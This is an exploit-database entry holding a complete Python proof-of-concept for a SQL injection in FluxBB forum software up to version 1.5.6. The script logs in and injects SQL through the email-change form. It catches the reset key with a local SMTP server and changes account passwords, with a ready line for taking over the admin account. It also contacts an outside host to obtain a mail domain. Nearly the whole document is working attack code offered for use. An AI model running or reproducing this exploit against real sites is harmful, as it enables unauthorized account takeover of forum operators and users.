FluxBB 1.5.6 SQL Injection Exploit

2014-11-26T00:00:00
ID 1337DAY-ID-22926
Type zdt
Reporter secthrowaway
Modified 2014-11-26T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            #!/usr/bin/env python
# Friday, November 21, 2014 - [email protected]
# FluxBB <= 1.5.6 SQL Injection
# make sure that your IP is reachable

url = 'http://target.tld/forum/'
user = 'user' # dummy account
pwd = 'test'

import urllib, sys, smtpd, asyncore, re, sha
from email import message_from_string
from urllib2 import Request, urlopen

ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17
Safari/537.36"
bindip = '0.0.0.0'

def stage1(sql):
if len(sql) > 80:
sys.exit('SQL too long, max 80 chars')
print "1st stage: %s (%d chars)" % (sql, len(sql))
r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid),
data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % (urllib.quote(sql), pwd),
headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie":
cookie})).read()
if 'An email has been sent to the specified address' not in r:
sys.exit('err')

def stage3(key):
print "3rd stage, using key: %s" % key
r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key),
headers={"User-agent": ua})).read()
if 'Your password has been updated' in r:
print 'success'
else:
print 'err'

class stage2_smtp(smtpd.SMTPServer):
def process_message(self, peer, mailfrom, rcpttos, data):
print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos
key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True),
re.MULTILINE)
if key is not None:
raise asyncore.ExitNow(key.group(2))
return

def login():
print "logging in"
r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s"
% (user, pwd), headers={"User-agent": ua}))
try:
t = r.info()['set-cookie'].split(';')[0]
return (t.split('=')[1].split('%7C')[0], t)
except:
sys.exit('unable to login, check user/pass')

uid, cookie = login()

email_domain = urlopen(Request('http://tns.re/gen')).read()
print "using domain: %s" % email_domain

#this will change your password to your password :)
stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new(pwd).hexdigest(), uid, email_domain))

#this will change admin's (uid=2) password "123456"
#stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new("123456").hexdigest(), 2, email_domain))

try:
print "2nd stage: waiting for mail"
server = stage2_smtp((bindip, 25), None)
asyncore.loop()
except asyncore.ExitNow, key:
stage3(key)

#  0day.today [2018-04-02]  #